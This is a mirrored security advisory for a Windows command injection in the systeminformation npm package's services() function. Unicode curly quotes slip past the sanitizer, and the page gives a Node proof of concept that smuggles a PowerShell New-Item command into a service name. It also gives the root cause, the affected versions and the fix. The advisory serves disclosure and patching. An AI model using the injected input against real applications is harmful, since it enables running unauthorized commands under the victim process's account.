GHSA-3F7J-7JWC-FXFJ

Vulnerability from github – Published: 2026-10-28 22:42 – Updated: 2026-10-28 22:42
VLAI
Summary
systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks
Details

Summary

On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.

This report confirms version 5.33.15. Other package versions have not been checked.

Details

In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().

The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.

For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.

Proof of concept

Run this on Windows in a disposable directory with Node.js and PowerShell available:

mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15

Save the following as poc.cjs, then run node poc.cjs:

'use strict';

const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');

(async () => {
  const markerName = `si-injection-${process.pid}.txt`;
  const markerPath = path.join(process.cwd(), markerName);
  fs.rmSync(markerPath, { force: true });

  try {
    await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
    console.log(`markerCreated=${fs.existsSync(markerPath)}`);
  } finally {
    fs.rmSync(markerPath, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected output:

markerCreated=true

The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.

Impact

An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.33.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T22:42:49Z",
    "nvd_published_at": "2026-10-26T21:18:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOn Windows, `systeminformation@5.33.15` builds a PowerShell command using the value passed to `services()`. The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.\n\nThis report confirms version `5.33.15`. Other package versions have not been checked.\n\n### Details\n\nIn `lib/processes.js`, `services()` sanitizes the caller\u0027s string with `sanitizeShellString()` and later inserts each resulting name into a `Get-CimInstance Win32_Service -Filter` command. The Windows branch passes that command to `util.powerShell()`.\n\nThe sanitizer in `lib/util.js` removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.\n\nFor example, the input below uses curly quotation marks to end the generated filter string and execute `New-Item`. I reproduced this call on Windows against the checked-out `systeminformation@5.33.15` source; it created a marker file with the Node.js process account.\n\n### Proof of concept\n\nRun this on Windows in a disposable directory with Node.js and PowerShell available:\n\n```powershell\nmkdir si-command-injection-repro\ncd si-command-injection-repro\nnpm init -y\nnpm install systeminformation@5.33.15\n```\n\nSave the following as `poc.cjs`, then run `node poc.cjs`:\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027node:fs\u0027);\nconst path = require(\u0027node:path\u0027);\nconst si = require(\u0027systeminformation\u0027);\n\n(async () =\u003e {\n  const markerName = `si-injection-${process.pid}.txt`;\n  const markerPath = path.join(process.cwd(), markerName);\n  fs.rmSync(markerPath, { force: true });\n\n  try {\n    await si.services(`not-a-service\u201d (New-Item -Name ${markerName} -ItemType File -Force) \u201c`);\n    console.log(`markerCreated=${fs.existsSync(markerPath)}`);\n  } finally {\n    fs.rmSync(markerPath, { force: true });\n  }\n})().catch((error) =\u003e {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected output:\n\n```text\nmarkerCreated=true\n```\n\nThe Windows run returned an array and created the marker (`markerCreated: true`). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to `services()`, so remote exploitability depends on the consuming application.\n\n### Impact\n\nAn application that passes attacker-controlled input to `services()` on Windows can execute PowerShell commands with the Node.js process account\u0027s permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. `services()` is exposed through the package API and `getDynamicData()`, so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project\u0027s `docs/security.html` already warns that arbitrary untrusted input to `services()` needs caution because package sanitization does not cover every case.",
  "id": "GHSA-3f7j-7jwc-fxfj",
  "modified": "2026-10-28T22:42:49Z",
  "published": "2026-10-28T22:42:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-3f7j-7jwc-fxfj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/5014c6d25cfce7363b937977327baa853cdba0bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.